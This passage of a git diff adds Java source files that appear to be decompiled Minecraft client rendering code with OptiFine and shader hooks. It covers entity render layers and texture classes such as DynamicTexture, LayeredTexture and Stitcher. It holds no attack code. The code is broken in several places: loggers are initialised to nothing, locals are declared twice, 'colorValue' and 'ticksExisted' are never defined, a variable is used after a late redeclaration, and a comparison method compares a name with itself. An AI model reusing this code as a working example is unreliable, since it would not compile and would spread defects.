+  public void doRenderLayer(EntityLivingBase p_177141_1_, float p_177141_2_, float p_177141_3_, float p_177141_4_, float p_177141_5_, float p_177141_6_, float p_177141_7_, float p_177141_8_)
+  {
+    func_177148_a((EntitySpider)p_177141_1_, p_177141_2_, p_177141_3_, p_177141_4_, p_177141_5_, p_177141_6_, p_177141_7_, p_177141_8_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerVillagerArmor.java b/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerVillagerArmor.java
new file mode 100644
index 0000000..a317345
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerVillagerArmor.java
@@ -0,0 +1,20 @@
+package net.minecraft.client.renderer.entity.layers;
+
+import net.minecraft.client.model.ModelZombieVillager;
+import net.minecraft.client.renderer.entity.RendererLivingEntity;
+
+public class LayerVillagerArmor extends LayerBipedArmor
+{
+  private static final String __OBFID = "CL_00002409";
+  
+  public LayerVillagerArmor(RendererLivingEntity p_i46108_1_)
+  {
+    super(p_i46108_1_);
+  }
+  
+  protected void func_177177_a()
+  {
+    field_177189_c = new ModelZombieVillager(0.5F, 0.0F, true);
+    field_177186_d = new ModelZombieVillager(1.0F, 0.0F, true);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerWitherAura.java b/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerWitherAura.java
new file mode 100644
index 0000000..85c0791
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerWitherAura.java
@@ -0,0 +1,61 @@
+package net.minecraft.client.renderer.entity.layers;
+
+import net.minecraft.client.model.ModelWither;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.entity.RenderWither;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.boss.EntityWither;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.ResourceLocation;
+
+public class LayerWitherAura implements LayerRenderer
+{
+  private static final ResourceLocation field_177217_a = new ResourceLocation("textures/entity/wither/wither_armor.png");
+  private final RenderWither field_177215_b;
+  private final ModelWither field_177216_c = new ModelWither(0.5F);
+  private static final String __OBFID = "CL_00002406";
+  
+  public LayerWitherAura(RenderWither p_i46105_1_)
+  {
+    field_177215_b = p_i46105_1_;
+  }
+  
+  public void func_177214_a(EntityWither p_177214_1_, float p_177214_2_, float p_177214_3_, float p_177214_4_, float p_177214_5_, float p_177214_6_, float p_177214_7_, float p_177214_8_)
+  {
+    if (p_177214_1_.isArmored())
+    {
+      GlStateManager.depthMask(!p_177214_1_.isInvisible());
+      field_177215_b.bindTexture(field_177217_a);
+      GlStateManager.matrixMode(5890);
+      GlStateManager.loadIdentity();
+      float var9 = ticksExisted + p_177214_4_;
+      float var10 = MathHelper.cos(var9 * 0.02F) * 3.0F;
+      float var11 = var9 * 0.01F;
+      GlStateManager.translate(var10, var11, 0.0F);
+      GlStateManager.matrixMode(5888);
+      GlStateManager.enableBlend();
+      float var12 = 0.5F;
+      GlStateManager.color(var12, var12, var12, 1.0F);
+      GlStateManager.disableLighting();
+      GlStateManager.blendFunc(1, 1);
+      field_177216_c.setLivingAnimations(p_177214_1_, p_177214_2_, p_177214_3_, p_177214_4_);
+      field_177216_c.setModelAttributes(field_177215_b.getMainModel());
+      field_177216_c.render(p_177214_1_, p_177214_2_, p_177214_3_, p_177214_5_, p_177214_6_, p_177214_7_, p_177214_8_);
+      GlStateManager.matrixMode(5890);
+      GlStateManager.loadIdentity();
+      GlStateManager.matrixMode(5888);
+      GlStateManager.enableLighting();
+      GlStateManager.disableBlend();
+    }
+  }
+  
+  public boolean shouldCombineTextures()
+  {
+    return false;
+  }
+  
+  public void doRenderLayer(EntityLivingBase p_177141_1_, float p_177141_2_, float p_177141_3_, float p_177141_4_, float p_177141_5_, float p_177141_6_, float p_177141_7_, float p_177141_8_)
+  {
+    func_177214_a((EntityWither)p_177141_1_, p_177141_2_, p_177141_3_, p_177141_4_, p_177141_5_, p_177141_6_, p_177141_7_, p_177141_8_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerWolfCollar.java b/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerWolfCollar.java
new file mode 100644
index 0000000..2f60056
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/layers/LayerWolfCollar.java
@@ -0,0 +1,51 @@
+package net.minecraft.client.renderer.entity.layers;
+
+import net.minecraft.client.model.ModelBase;
+import net.minecraft.client.renderer.entity.RenderWolf;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.passive.EntitySheep;
+import net.minecraft.entity.passive.EntityWolf;
+import net.minecraft.item.EnumDyeColor;
+import net.minecraft.util.ResourceLocation;
+import optifine.Config;
+import optifine.CustomColors;
+
+public class LayerWolfCollar implements LayerRenderer
+{
+  private static final ResourceLocation field_177147_a = new ResourceLocation("textures/entity/wolf/wolf_collar.png");
+  private final RenderWolf field_177146_b;
+  private static final String __OBFID = "CL_00002405";
+  
+  public LayerWolfCollar(RenderWolf p_i46104_1_)
+  {
+    field_177146_b = p_i46104_1_;
+  }
+  
+  public void func_177145_a(EntityWolf p_177145_1_, float p_177145_2_, float p_177145_3_, float p_177145_4_, float p_177145_5_, float p_177145_6_, float p_177145_7_, float p_177145_8_)
+  {
+    if ((p_177145_1_.isTamed()) && (!p_177145_1_.isInvisible()))
+    {
+      field_177146_b.bindTexture(field_177147_a);
+      EnumDyeColor var9 = EnumDyeColor.func_176764_b(p_177145_1_.func_175546_cu().func_176765_a());
+      float[] var10 = EntitySheep.func_175513_a(var9);
+      
+      if (Config.isCustomColors())
+      {
+        var10 = CustomColors.getWolfCollarColors(var9, var10);
+      }
+      
+      net.minecraft.client.renderer.GlStateManager.color(var10[0], var10[1], var10[2]);
+      field_177146_b.getMainModel().render(p_177145_1_, p_177145_2_, p_177145_3_, p_177145_5_, p_177145_6_, p_177145_7_, p_177145_8_);
+    }
+  }
+  
+  public boolean shouldCombineTextures()
+  {
+    return true;
+  }
+  
+  public void doRenderLayer(EntityLivingBase p_177141_1_, float p_177141_2_, float p_177141_3_, float p_177141_4_, float p_177141_5_, float p_177141_6_, float p_177141_7_, float p_177141_8_)
+  {
+    func_177145_a((EntityWolf)p_177141_1_, p_177141_2_, p_177141_3_, p_177141_4_, p_177141_5_, p_177141_6_, p_177141_7_, p_177141_8_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/texture/AbstractTexture.java b/src/minecraft/net/minecraft/client/renderer/texture/AbstractTexture.java
new file mode 100644
index 0000000..d1fcf3d
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/texture/AbstractTexture.java
@@ -0,0 +1,80 @@
+package net.minecraft.client.renderer.texture;
+
+import net.minecraft.client.renderer.GlStateManager;
+import org.lwjgl.opengl.GL11;
+import shadersmod.client.MultiTexID;
+import shadersmod.client.ShadersTex;
+
+public abstract class AbstractTexture implements ITextureObject
+{
+  protected int glTextureId = -1;
+  protected boolean field_174940_b;
+  protected boolean field_174941_c;
+  protected boolean field_174938_d;
+  protected boolean field_174939_e;
+  private static final String __OBFID = "CL_00001047";
+  public MultiTexID multiTex;
+  
+  public AbstractTexture() {}
+  
+  public void func_174937_a(boolean p_174937_1_, boolean p_174937_2_) { field_174940_b = p_174937_1_;
+    field_174941_c = p_174937_2_;
+    boolean var3 = true;
+    boolean var4 = true;
+    short var6;
+    int var5;
+    short var6;
+    if (p_174937_1_)
+    {
+      int var5 = p_174937_2_ ? 9987 : 9729;
+      var6 = 9729;
+    }
+    else
+    {
+      var5 = p_174937_2_ ? 9986 : 9728;
+      var6 = 9728;
+    }
+    
+    GlStateManager.func_179144_i(getGlTextureId());
+    GL11.glTexParameteri(3553, 10241, var5);
+    GL11.glTexParameteri(3553, 10240, var6);
+  }
+  
+  public void func_174936_b(boolean p_174936_1_, boolean p_174936_2_)
+  {
+    field_174938_d = field_174940_b;
+    field_174939_e = field_174941_c;
+    func_174937_a(p_174936_1_, p_174936_2_);
+  }
+  
+  public void func_174935_a()
+  {
+    func_174937_a(field_174938_d, field_174939_e);
+  }
+  
+  public int getGlTextureId()
+  {
+    if (glTextureId == -1)
+    {
+      glTextureId = TextureUtil.glGenTextures();
+    }
+    
+    return glTextureId;
+  }
+  
+  public void deleteGlTexture()
+  {
+    ShadersTex.deleteTextures(this, glTextureId);
+    
+    if (glTextureId != -1)
+    {
+      TextureUtil.deleteTexture(glTextureId);
+      glTextureId = -1;
+    }
+  }
+  
+  public MultiTexID getMultiTexID()
+  {
+    return ShadersTex.getMultiTexID(this);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/texture/DynamicTexture.java b/src/minecraft/net/minecraft/client/renderer/texture/DynamicTexture.java
new file mode 100644
index 0000000..d464e4a
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/texture/DynamicTexture.java
@@ -0,0 +1,70 @@
+package net.minecraft.client.renderer.texture;
+
+import java.awt.image.BufferedImage;
+import java.io.IOException;
+import net.minecraft.client.resources.IResourceManager;
+import optifine.Config;
+import shadersmod.client.ShadersTex;
+
+
+
+
+public class DynamicTexture
+  extends AbstractTexture
+{
+  private final int[] dynamicTextureData;
+  private final int width;
+  private final int height;
+  private static final String __OBFID = "CL_00001048";
+  private boolean shadersInitialized;
+  
+  public DynamicTexture(BufferedImage p_i1270_1_)
+  {
+    this(p_i1270_1_.getWidth(), p_i1270_1_.getHeight());
+    p_i1270_1_.getRGB(0, 0, p_i1270_1_.getWidth(), p_i1270_1_.getHeight(), dynamicTextureData, 0, p_i1270_1_.getWidth());
+    updateDynamicTexture();
+  }
+  
+  public DynamicTexture(int p_i1271_1_, int p_i1271_2_)
+  {
+    shadersInitialized = false;
+    width = p_i1271_1_;
+    height = p_i1271_2_;
+    dynamicTextureData = new int[p_i1271_1_ * p_i1271_2_ * 3];
+    
+    if (Config.isShaders())
+    {
+      ShadersTex.initDynamicTexture(getGlTextureId(), p_i1271_1_, p_i1271_2_, this);
+      shadersInitialized = true;
+    }
+    else
+    {
+      TextureUtil.allocateTexture(getGlTextureId(), p_i1271_1_, p_i1271_2_);
+    }
+  }
+  
+  public void loadTexture(IResourceManager p_110551_1_) throws IOException
+  {}
+  
+  public void updateDynamicTexture() {
+    if (Config.isShaders())
+    {
+      if (!shadersInitialized)
+      {
+        ShadersTex.initDynamicTexture(getGlTextureId(), width, height, this);
+        shadersInitialized = true;
+      }
+      
+      ShadersTex.updateDynamicTexture(getGlTextureId(), dynamicTextureData, width, height, this);
+    }
+    else
+    {
+      TextureUtil.uploadTexture(getGlTextureId(), dynamicTextureData, width, height);
+    }
+  }
+  
+  public int[] getTextureData()
+  {
+    return dynamicTextureData;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/texture/IIconCreator.java b/src/minecraft/net/minecraft/client/renderer/texture/IIconCreator.java
new file mode 100644
index 0000000..3be0551
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/texture/IIconCreator.java
@@ -0,0 +1,6 @@
+package net.minecraft.client.renderer.texture;
+
+public abstract interface IIconCreator
+{
+  public abstract void func_177059_a(TextureMap paramTextureMap);
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/texture/ITextureObject.java b/src/minecraft/net/minecraft/client/renderer/texture/ITextureObject.java
new file mode 100644
index 0000000..a191783
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/texture/ITextureObject.java
@@ -0,0 +1,19 @@
+package net.minecraft.client.renderer.texture;
+
+import java.io.IOException;
+import net.minecraft.client.resources.IResourceManager;
+import shadersmod.client.MultiTexID;
+
+public abstract interface ITextureObject
+{
+  public abstract void func_174936_b(boolean paramBoolean1, boolean paramBoolean2);
+  
+  public abstract void func_174935_a();
+  
+  public abstract void loadTexture(IResourceManager paramIResourceManager)
+    throws IOException;
+  
+  public abstract int getGlTextureId();
+  
+  public abstract MultiTexID getMultiTexID();
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/texture/ITickable.java b/src/minecraft/net/minecraft/client/renderer/texture/ITickable.java
new file mode 100644
index 0000000..7690d87
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/texture/ITickable.java
@@ -0,0 +1,6 @@
+package net.minecraft.client.renderer.texture;
+
+public abstract interface ITickable
+{
+  public abstract void tick();
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/texture/ITickableTextureObject.java b/src/minecraft/net/minecraft/client/renderer/texture/ITickableTextureObject.java
new file mode 100644
index 0000000..5156599
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/texture/ITickableTextureObject.java
@@ -0,0 +1,5 @@
+package net.minecraft.client.renderer.texture;
+
+public abstract interface ITickableTextureObject
+  extends ITextureObject, ITickable
+{}
diff --git a/src/minecraft/net/minecraft/client/renderer/texture/LayeredColorMaskTexture.java b/src/minecraft/net/minecraft/client/renderer/texture/LayeredColorMaskTexture.java
new file mode 100644
index 0000000..5bbec30
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/texture/LayeredColorMaskTexture.java
@@ -0,0 +1,123 @@
+package net.minecraft.client.renderer.texture;
+
+import java.awt.Graphics;
+import java.awt.image.BufferedImage;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.List;
+import net.minecraft.block.material.MapColor;
+import net.minecraft.client.resources.IResource;
+import net.minecraft.client.resources.IResourceManager;
+import net.minecraft.item.EnumDyeColor;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.ResourceLocation;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class LayeredColorMaskTexture extends AbstractTexture
+{
+  private static final Logger field_174947_f = ;
+  private final ResourceLocation field_174948_g;
+  private final List field_174949_h;
+  private final List field_174950_i;
+  private static final String __OBFID = "CL_00002404";
+  
+  public LayeredColorMaskTexture(ResourceLocation p_i46101_1_, List p_i46101_2_, List p_i46101_3_)
+  {
+    field_174948_g = p_i46101_1_;
+    field_174949_h = p_i46101_2_;
+    field_174950_i = p_i46101_3_;
+  }
+  
+  public void loadTexture(IResourceManager p_110551_1_) throws IOException
+  {
+    deleteGlTexture();
+    
+
+    try
+    {
+      BufferedImage var3 = TextureUtil.func_177053_a(p_110551_1_.getResource(field_174948_g).getInputStream());
+      int var4 = var3.getType();
+      
+      if (var4 == 0)
+      {
+        var4 = 6;
+      }
+      
+      BufferedImage var2 = new BufferedImage(var3.getWidth(), var3.getHeight(), var4);
+      Graphics var5 = var2.getGraphics();
+      var5.drawImage(var3, 0, 0, null);
+      
+      int var6 = 0;
+      do {
+        String var7 = (String)field_174949_h.get(var6);
+        MapColor var8 = ((EnumDyeColor)field_174950_i.get(var6)).func_176768_e();
+        
+        if (var7 != null)
+        {
+          InputStream var9 = p_110551_1_.getResource(new ResourceLocation(var7)).getInputStream();
+          BufferedImage var10 = TextureUtil.func_177053_a(var9);
+          
+          if ((var10.getWidth() == var2.getWidth()) && (var10.getHeight() == var2.getHeight()) && (var10.getType() == 6))
+          {
+            for (int var11 = 0; var11 < var10.getHeight(); var11++)
+            {
+              for (int var12 = 0; var12 < var10.getWidth(); var12++)
+              {
+                int var13 = var10.getRGB(var12, var11);
+                
+                if ((var13 & 0xFF000000) != 0)
+                {
+                  int var14 = (var13 & 0xFF0000) << 8 & 0xFF000000;
+                  int var15 = var3.getRGB(var12, var11);
+                  int var16 = MathHelper.func_180188_d(var15, colorValue) & 0xFFFFFF;
+                  var10.setRGB(var12, var11, var14 | var16);
+                }
+              }
+            }
+            
+            var2.getGraphics().drawImage(var10, 0, 0, null);
+          }
+        }
+        var6++; if (var6 >= field_174949_h.size()) break; } while (var6 < field_174950_i.size());
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    }
+    catch (IOException var17)
+    {
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+      field_174947_f.error("Couldn't load layered image", var17); return;
+    }
+    
+    BufferedImage var2;
+    TextureUtil.uploadTextureImage(getGlTextureId(), var2);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/texture/LayeredTexture.java b/src/minecraft/net/minecraft/client/renderer/texture/LayeredTexture.java
new file mode 100644
index 0000000..24eb1cc
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/texture/LayeredTexture.java
@@ -0,0 +1,61 @@
+package net.minecraft.client.renderer.texture;
+
+import com.google.common.collect.Lists;
+import java.awt.Graphics;
+import java.awt.image.BufferedImage;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.client.resources.IResourceManager;
+import net.minecraft.util.ResourceLocation;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class LayeredTexture extends AbstractTexture
+{
+  private static final Logger logger = ;
+  public final List layeredTextureNames;
+  private static final String __OBFID = "CL_00001051";
+  
+  public LayeredTexture(String... p_i1274_1_)
+  {
+    layeredTextureNames = Lists.newArrayList(p_i1274_1_);
+  }
+  
+  public void loadTexture(IResourceManager p_110551_1_) throws IOException
+  {
+    deleteGlTexture();
+    BufferedImage var2 = null;
+    
+    try
+    {
+      Iterator var3 = layeredTextureNames.iterator();
+      
+      while (var3.hasNext())
+      {
+        String var4 = (String)var3.next();
+        
+        if (var4 != null)
+        {
+          InputStream var5 = p_110551_1_.getResource(new ResourceLocation(var4)).getInputStream();
+          BufferedImage var6 = TextureUtil.func_177053_a(var5);
+          
+          if (var2 == null)
+          {
+            var2 = new BufferedImage(var6.getWidth(), var6.getHeight(), 2);
+          }
+          
+          var2.getGraphics().drawImage(var6, 0, 0, null);
+        }
+      }
+    }
+    catch (IOException var7)
+    {
+      logger.error("Couldn't load layered image", var7);
+      return;
+    }
+    
+    TextureUtil.uploadTextureImage(getGlTextureId(), var2);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/texture/SimpleTexture.java b/src/minecraft/net/minecraft/client/renderer/texture/SimpleTexture.java
new file mode 100644
index 0000000..29e9e85
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/texture/SimpleTexture.java
@@ -0,0 +1,75 @@
+package net.minecraft.client.renderer.texture;
+
+import java.awt.image.BufferedImage;
+import java.io.IOException;
+import java.io.InputStream;
+import net.minecraft.client.resources.IResource;
+import net.minecraft.client.resources.IResourceManager;
+import net.minecraft.client.resources.data.TextureMetadataSection;
+import net.minecraft.util.ResourceLocation;
+import optifine.Config;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+import shadersmod.client.ShadersTex;
+
+public class SimpleTexture
+  extends AbstractTexture
+{
+  private static final Logger logger = ;
+  protected final ResourceLocation textureLocation;
+  private static final String __OBFID = "CL_00001052";
+  
+  public SimpleTexture(ResourceLocation p_i1275_1_)
+  {
+    textureLocation = p_i1275_1_;
+  }
+  
+  public void loadTexture(IResourceManager p_110551_1_) throws IOException
+  {
+    deleteGlTexture();
+    InputStream var2 = null;
+    
+    try
+    {
+      IResource var3 = p_110551_1_.getResource(textureLocation);
+      var2 = var3.getInputStream();
+      BufferedImage var4 = TextureUtil.func_177053_a(var2);
+      boolean var5 = false;
+      boolean var6 = false;
+      
+      if (var3.hasMetadata())
+      {
+        try
+        {
+          TextureMetadataSection var11 = (TextureMetadataSection)var3.getMetadata("texture");
+          
+          if (var11 != null)
+          {
+            var5 = var11.getTextureBlur();
+            var6 = var11.getTextureClamp();
+          }
+        }
+        catch (RuntimeException var111)
+        {
+          logger.warn("Failed reading metadata of: " + textureLocation, var111);
+        }
+      }
+      
+      if (Config.isShaders())
+      {
+        ShadersTex.loadSimpleTexture(getGlTextureId(), var4, var5, var6, p_110551_1_, textureLocation, getMultiTexID());
+      }
+      else
+      {
+        TextureUtil.uploadTextureImageAllocate(getGlTextureId(), var4, var5, var6);
+      }
+    }
+    finally
+    {
+      if (var2 != null)
+      {
+        var2.close();
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/texture/Stitcher.java b/src/minecraft/net/minecraft/client/renderer/texture/Stitcher.java
new file mode 100644
index 0000000..75f356e
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/texture/Stitcher.java
@@ -0,0 +1,446 @@
+package net.minecraft.client.renderer.texture;
+
+import com.google.common.collect.Lists;
+import com.google.common.collect.Sets;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Set;
+import net.minecraft.client.renderer.StitcherException;
+import net.minecraft.util.MathHelper;
+
+public class Stitcher
+{
+  private final int mipmapLevelStitcher;
+  private final Set setStitchHolders = Sets.newHashSetWithExpectedSize(256);
+  private final List stitchSlots = Lists.newArrayListWithCapacity(256);
+  
+  private int currentWidth;
+  
+  private int currentHeight;
+  private final int maxWidth;
+  private final int maxHeight;
+  private final boolean forcePowerOf2;
+  private final int maxTileDimension;
+  private static final String __OBFID = "CL_00001054";
+  
+  public Stitcher(int p_i45095_1_, int p_i45095_2_, boolean p_i45095_3_, int p_i45095_4_, int p_i45095_5_)
+  {
+    mipmapLevelStitcher = p_i45095_5_;
+    maxWidth = p_i45095_1_;
+    maxHeight = p_i45095_2_;
+    forcePowerOf2 = p_i45095_3_;
+    maxTileDimension = p_i45095_4_;
+  }
+  
+  public int getCurrentWidth()
+  {
+    return currentWidth;
+  }
+  
+  public int getCurrentHeight()
+  {
+    return currentHeight;
+  }
+  
+  public void addSprite(TextureAtlasSprite p_110934_1_)
+  {
+    Holder var2 = new Holder(p_110934_1_, mipmapLevelStitcher);
+    
+    if (maxTileDimension > 0)
+    {
+      var2.setNewDimension(maxTileDimension);
+    }
+    
+    setStitchHolders.add(var2);
+  }
+  
+  public void doStitch()
+  {
+    Holder[] var1 = (Holder[])setStitchHolders.toArray(new Holder[setStitchHolders.size()]);
+    Arrays.sort(var1);
+    Holder[] var2 = var1;
+    int var3 = var1.length;
+    
+    for (int var4 = 0; var4 < var3; var4++)
+    {
+      Holder var5 = var2[var4];
+      
+      if (!allocateSlot(var5))
+      {
+        String var6 = String.format("Unable to fit: %s, size: %dx%d, atlas: %dx%d, atlasMax: %dx%d - Maybe try a lower resolution resourcepack?", new Object[] { var5.getAtlasSprite().getIconName(), Integer.valueOf(var5.getAtlasSprite().getIconWidth()), Integer.valueOf(var5.getAtlasSprite().getIconHeight()), Integer.valueOf(currentWidth), Integer.valueOf(currentHeight), Integer.valueOf(maxWidth), Integer.valueOf(maxHeight) });
+        throw new StitcherException(var5, var6);
+      }
+    }
+    
+    if (forcePowerOf2)
+    {
+      currentWidth = MathHelper.roundUpToPowerOfTwo(currentWidth);
+      currentHeight = MathHelper.roundUpToPowerOfTwo(currentHeight);
+    }
+  }
+  
+  public List getStichSlots()
+  {
+    ArrayList var1 = Lists.newArrayList();
+    Iterator var2 = stitchSlots.iterator();
+    
+    while (var2.hasNext())
+    {
+      Slot var7 = (Slot)var2.next();
+      var7.getAllStitchSlots(var1);
+    }
+    
+    ArrayList var71 = Lists.newArrayList();
+    Iterator var8 = var1.iterator();
+    
+    while (var8.hasNext())
+    {
+      Slot var4 = (Slot)var8.next();
+      Holder var5 = var4.getStitchHolder();
+      TextureAtlasSprite var6 = var5.getAtlasSprite();
+      var6.initSprite(currentWidth, currentHeight, var4.getOriginX(), var4.getOriginY(), var5.isRotated());
+      var71.add(var6);
+    }
+    
+    return var71;
+  }
+  
+  private static int getMipmapDimension(int p_147969_0_, int p_147969_1_)
+  {
+    return (p_147969_0_ >> p_147969_1_) + ((p_147969_0_ & (1 << p_147969_1_) - 1) == 0 ? 0 : 1) << p_147969_1_;
+  }
+  
+
+
+
+  private boolean allocateSlot(Holder p_94310_1_)
+  {
+    for (int var2 = 0; var2 < stitchSlots.size(); var2++)
+    {
+      if (((Slot)stitchSlots.get(var2)).addSlot(p_94310_1_))
+      {
+        return true;
+      }
+      
+      p_94310_1_.rotate();
+      
+      if (((Slot)stitchSlots.get(var2)).addSlot(p_94310_1_))
+      {
+        return true;
+      }
+      
+      p_94310_1_.rotate();
+    }
+    
+    return expandAndAllocateSlot(p_94310_1_);
+  }
+  
+
+
+
+  private boolean expandAndAllocateSlot(Holder p_94311_1_)
+  {
+    int var2 = Math.min(p_94311_1_.getWidth(), p_94311_1_.getHeight());
+    boolean var3 = (currentWidth == 0) && (currentHeight == 0);
+    
+    boolean var4;
+    boolean var4;
+    if (forcePowerOf2)
+    {
+      int var5 = MathHelper.roundUpToPowerOfTwo(currentWidth);
+      int var15 = MathHelper.roundUpToPowerOfTwo(currentHeight);
+      int var14 = MathHelper.roundUpToPowerOfTwo(currentWidth + var2);
+      int var8 = MathHelper.roundUpToPowerOfTwo(currentHeight + var2);
+      boolean var9 = var14 <= maxWidth;
+      boolean var10 = var8 <= maxHeight;
+      
+      if ((!var9) && (!var10))
+      {
+        return false;
+      }
+      
+      boolean var11 = var5 != var14;
+      boolean var12 = var15 != var8;
+      boolean var4;
+      if ((var11 ^ var12))
+      {
+        var4 = !var11;
+      }
+      else
+      {
+        var4 = (var9) && (var5 <= var15);
+      }
+    }
+    else
+    {
+      boolean var151 = currentWidth + var2 <= maxWidth;
+      boolean var141 = currentHeight + var2 <= maxHeight;
+      
+      if ((!var151) && (!var141))
+      {
+        return false;
+      }
+      
+      var4 = (var151) && ((var3) || (currentWidth <= currentHeight));
+    }
+    
+    int var5 = Math.max(p_94311_1_.getWidth(), p_94311_1_.getHeight());
+    
+    if (MathHelper.roundUpToPowerOfTwo((!var4 ? currentHeight : currentWidth) + var5) > (!var4 ? maxHeight : maxWidth))
+    {
+      return false;
+    }
+    
+
+    Slot var152;
+    
+    if (var4)
+    {
+      if (p_94311_1_.getWidth() > p_94311_1_.getHeight())
+      {
+        p_94311_1_.rotate();
+      }
+      
+      if (currentHeight == 0)
+      {
+        currentHeight = p_94311_1_.getHeight();
+      }
+      
+      Slot var152 = new Slot(currentWidth, 0, p_94311_1_.getWidth(), currentHeight);
+      currentWidth += p_94311_1_.getWidth();
+    }
+    else
+    {
+      var152 = new Slot(0, currentHeight, currentWidth, p_94311_1_.getHeight());
+      currentHeight += p_94311_1_.getHeight();
+    }
+    
+    var152.addSlot(p_94311_1_);
+    stitchSlots.add(var152);
+    return true;
+  }
+  
+  public static class Holder
+    implements Comparable
+  {
+    private final TextureAtlasSprite theTexture;
+    private final int width;
+    private final int height;
+    private final int mipmapLevelHolder;
+    private boolean rotated;
+    private float scaleFactor = 1.0F;
+    private static final String __OBFID = "CL_00001055";
+    
+    public Holder(TextureAtlasSprite p_i45094_1_, int p_i45094_2_)
+    {
+      theTexture = p_i45094_1_;
+      width = p_i45094_1_.getIconWidth();
+      height = p_i45094_1_.getIconHeight();
+      mipmapLevelHolder = p_i45094_2_;
+      rotated = (Stitcher.getMipmapDimension(height, p_i45094_2_) > Stitcher.getMipmapDimension(width, p_i45094_2_));
+    }
+    
+    public TextureAtlasSprite getAtlasSprite()
+    {
+      return theTexture;
+    }
+    
+    public int getWidth()
+    {
+      return rotated ? Stitcher.getMipmapDimension((int)(height * scaleFactor), mipmapLevelHolder) : Stitcher.getMipmapDimension((int)(width * scaleFactor), mipmapLevelHolder);
+    }
+    
+    public int getHeight()
+    {
+      return rotated ? Stitcher.getMipmapDimension((int)(width * scaleFactor), mipmapLevelHolder) : Stitcher.getMipmapDimension((int)(height * scaleFactor), mipmapLevelHolder);
+    }
+    
+    public void rotate()
+    {
+      rotated = (!rotated);
+    }
+    
+    public boolean isRotated()
+    {
+      return rotated;
+    }
+    
+    public void setNewDimension(int p_94196_1_)
+    {
+      if ((width > p_94196_1_) && (height > p_94196_1_))
+      {
+        scaleFactor = (p_94196_1_ / Math.min(width, height));
+      }
+    }
+    
+    public String toString()
+    {
+      return "Holder{width=" + width + ", height=" + height + ", name=" + theTexture.getIconName() + '}';
+    }
+    
+    public int compareTo(Holder p_compareTo_1_)
+    {
+      int var2;
+      int var2;
+      if (getHeight() == p_compareTo_1_.getHeight())
+      {
+        if (getWidth() == p_compareTo_1_.getWidth())
+        {
+          if (theTexture.getIconName() == null)
+          {
+            return theTexture.getIconName() == null ? 0 : -1;
+          }
+          
+          return theTexture.getIconName().compareTo(theTexture.getIconName());
+        }
+        
+        var2 = getWidth() < p_compareTo_1_.getWidth() ? 1 : -1;
+      }
+      else
+      {
+        var2 = getHeight() < p_compareTo_1_.getHeight() ? 1 : -1;
+      }
+      
+      return var2;
+    }
+    
+    public int compareTo(Object p_compareTo_1_)
+    {
+      return compareTo((Holder)p_compareTo_1_);
+    }
+  }
+  
+  public static class Slot
+  {
+    private final int originX;
+    private final int originY;
+    private final int width;
+    private final int height;
+    private List subSlots;
+    private Stitcher.Holder holder;
+    private static final String __OBFID = "CL_00001056";
+    
+    public Slot(int p_i1277_1_, int p_i1277_2_, int p_i1277_3_, int p_i1277_4_)
+    {
+      originX = p_i1277_1_;
+      originY = p_i1277_2_;
+      width = p_i1277_3_;
+      height = p_i1277_4_;
+    }
+    
+    public Stitcher.Holder getStitchHolder()
+    {
+      return holder;
+    }
+    
+    public int getOriginX()
+    {
+      return originX;
+    }
+    
+    public int getOriginY()
+    {
+      return originY;
+    }
+    
+    public boolean addSlot(Stitcher.Holder p_94182_1_)
+    {
+      if (holder != null)
+      {
+        return false;
+      }
+      
+
+      int var2 = p_94182_1_.getWidth();
+      int var3 = p_94182_1_.getHeight();
+      
+      if ((var2 <= width) && (var3 <= height))
+      {
+        if ((var2 == width) && (var3 == height))
+        {
+          holder = p_94182_1_;
+          return true;
+        }
+        
+
+        if (subSlots == null)
+        {
+          subSlots = Lists.newArrayListWithCapacity(1);
+          subSlots.add(new Slot(originX, originY, var2, var3));
+          int var8 = width - var2;
+          int var9 = height - var3;
+          
+          if ((var9 > 0) && (var8 > 0))
+          {
